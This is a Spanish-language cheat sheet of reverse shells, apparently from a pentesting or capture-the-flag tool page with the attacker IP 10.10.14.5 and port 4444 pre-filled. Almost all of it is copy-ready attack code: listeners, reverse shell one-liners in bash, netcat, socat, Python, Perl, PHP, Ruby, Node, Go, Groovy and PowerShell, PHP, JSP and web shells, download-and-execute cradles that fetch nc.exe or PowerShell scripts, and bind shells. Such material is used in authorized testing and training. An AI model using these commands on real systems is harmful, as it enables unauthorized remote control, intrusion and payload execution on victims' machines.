Reverse shells
Reverse shells en bash, netcat, Python, PHP, Perl, Ruby, PowerShell y más, con tu IP y tu puerto ya puestos. Primero el listener, después la shell en la víctima. Para más variantes y codificarlas, usa el generador.
Listener en tu máquina
- Netcat
nc -lvnp 4444 - Netcat con historial y flechas
rlwrap -cAr nc -lvnp 4444 - Ncat
ncat -lvnp 4444 - Netcat por UDP
nc -u -lvnp 4444 - Socat con TTY completa
socat file:`tty`,raw,echo=0 tcp-listen:4444 - pwncat-cs (sube la TTY solo y tiene upload/download)
pwncat-cs -lp 4444 - Penelope (TTY automática, varias sesiones)
penelope -p 4444 - Listener cifrado con OpenSSL
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 30 -nodes -subj "/CN=dluna" && openssl s_server -quiet -key key.pem -cert cert.pem -port 4444 - Abrir el puerto en tu firewall (si usas ufw)
sudo ufw allow 4444/tcp
Bash y sh
- Bash -i
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1 - Bash envuelto (cuando la shell por defecto es sh)
bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1" - Bash con el descriptor 196
0<&196;exec 196<>/dev/tcp/10.10.14.5/4444; sh <&196 >&196 2>&196 - Bash con el descriptor 5
bash -i 5<> /dev/tcp/10.10.14.5/4444 0<&5 1>&5 2>&5 - Bash leyendo línea por línea
exec 5<>/dev/tcp/10.10.14.5/4444;cat <&5 | while read line; do $line 2>&5 >&5; done - Bash por UDP
sh -i >& /dev/udp/10.10.14.5/4444 0>&1 - Bash en segundo plano (no bloquea la web)
nohup bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1" & - Bash codificada en Base64 (evita problemas de comillas)
echo "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1" | base64 -w0 - zsh
zsh -c 'zmodload zsh/net/tcp && ztcp 10.10.14.5 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
Netcat, ncat, socat y telnet
- sh con mkfifo y netcat (sirve con cualquier nc)
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc 10.10.14.5 4444 > /tmp/f - Netcat con -e
nc -e /bin/sh 10.10.14.5 4444 - Netcat con -c
nc -c sh 10.10.14.5 4444 - BusyBox
busybox nc 10.10.14.5 4444 -e sh - Ncat con -e
ncat 10.10.14.5 4444 -e /bin/bash - Ncat cifrada (listener: ncat --ssl -lvnp)
ncat --ssl 10.10.14.5 4444 -e /bin/bash - Socat básica
socat TCP:10.10.14.5:4444 EXEC:/bin/bash - Socat con TTY completa
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:4444 - Telnet con mkfifo
TF=$(mktemp -u); mkfifo $TF && telnet 10.10.14.5 4444 0<$TF | sh 1>$TF - OpenSSL cifrada (con el listener de OpenSSL)
mkfifo /tmp/s; sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.14.5:4444 > /tmp/s; rm /tmp/s - sqlite3 (si no hay nc a mano, pero sí sqlite3)
sqlite3 /dev/null '.shell rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f'
Lenguajes de scripting
- Python 3
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.5",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")' - Python 3 con subprocess
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' - Python 2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' - Perl
perl -e 'use Socket;$i="10.10.14.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");' - Perl sin /bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.14.5:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' - PHP desde la terminal
php -r '$s=fsockopen("10.10.14.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");' - PHP con proc_open (si exec está deshabilitado)
php -r '$s=fsockopen("10.10.14.5",4444);$p=proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$pipes);' - Ruby
ruby -rsocket -e 'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.5",4444))' - Node.js
node -e 'var n=require("net"),c=require("child_process"),s=c.spawn("/bin/sh",[]),k=new n.Socket();k.connect(4444,"10.10.14.5",function(){k.pipe(s.stdin);s.stdout.pipe(k);s.stderr.pipe(k);});' - Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.14.5','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');" - Awk
awk 'BEGIN {s = "/inet/tcp/0/10.10.14.5/4444"; while(42) { do{ printf "shell> " |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null - Go (compilado al vuelo)
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.10.14.5:4444");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go - Groovy (consola de scripts de Jenkins)
String h="10.10.14.5";int p=4444;String cmd="/bin/bash";Process pr=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(h,p);InputStream pi=pr.getInputStream(),pe=pr.getErrorStream(),si=s.getInputStream();OutputStream po=pr.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try{pr.exitValue();break;}catch(Exception e){}};pr.destroy();s.close();
Web shells
- PHP: ejecutar comandos por ?cmd=
<?php system($_GET["cmd"]); ?> - PHP que acepta GET o POST
<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; passthru($_REQUEST["cmd"]); echo "</pre>"; } ?> - PHP mínima
<?=`$_GET[0]`?> - PHP que lanza la reverse shell al abrirla
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'"); ?> - PHP de PentestMonkey (shell completa)
cp /usr/share/webshells/php/php-reverse-shell.php shell.php && sed -i "s/127.0.0.1/10.10.14.5/; s/1234/4444/" shell.php - JSP con salida
<%@ page import="java.io.*" %><% Process p=Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader b=new BufferedReader(new InputStreamReader(p.getInputStream())); String l; while((l=b.readLine())!=null){ out.println(l); } %> - ASPX (IIS): las de Kali
ls /usr/share/webshells/aspx/ /usr/share/webshells/asp/ - Llamarla desde curl
curl "http://objetivo.htb/shell.php?cmd=id" - De la web shell a reverse shell
curl "http://objetivo.htb/shell.php" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'"
Windows
- PowerShell (TCP)
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('10.10.14.5',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()" - PowerShell codificada (powershell -e)
echo -n "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/shell.ps1')" | iconv -t UTF-16LE | base64 -w0 - Descargar y ejecutar un script de PowerShell
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/shell.ps1')" - Nishang: preparar Invoke-PowerShellTcp
cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 shell.ps1 && echo "Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 4444" >> shell.ps1 - Powercat
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/powercat.ps1');powercat -c 10.10.14.5 -p 4444 -e cmd" - ConPtyShell (shell de Windows totalmente interactiva)
powershell -c "IEX(IWR http://10.10.14.5/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.14.5 4444" - Netcat para Windows
nc.exe -e cmd.exe 10.10.14.5 4444 - Bajar nc.exe y lanzarla en una línea
certutil -urlcache -f http://10.10.14.5/nc.exe C:\Windows\Temp\nc.exe & C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 4444 - nc.exe desde tu recurso SMB, sin copiarlo
\\10.10.14.5\share\nc.exe -e cmd.exe 10.10.14.5 4444 - Python en Windows
python.exe -c "import socket,subprocess;s=socket.socket();s.connect(('10.10.14.5',4444));subprocess.Popen(['cmd.exe'],stdin=s,stdout=s,stderr=s)"
Bind shells (tú te conectas a la víctima)
- Netcat escuchando en la víctima
nc -lvnp 4444 -e /bin/sh - mkfifo escuchando en la víctima
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 4444 > /tmp/f - Socat escuchando en la víctima
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane - Conectarte desde tu máquina
nc 10.10.11.20 4444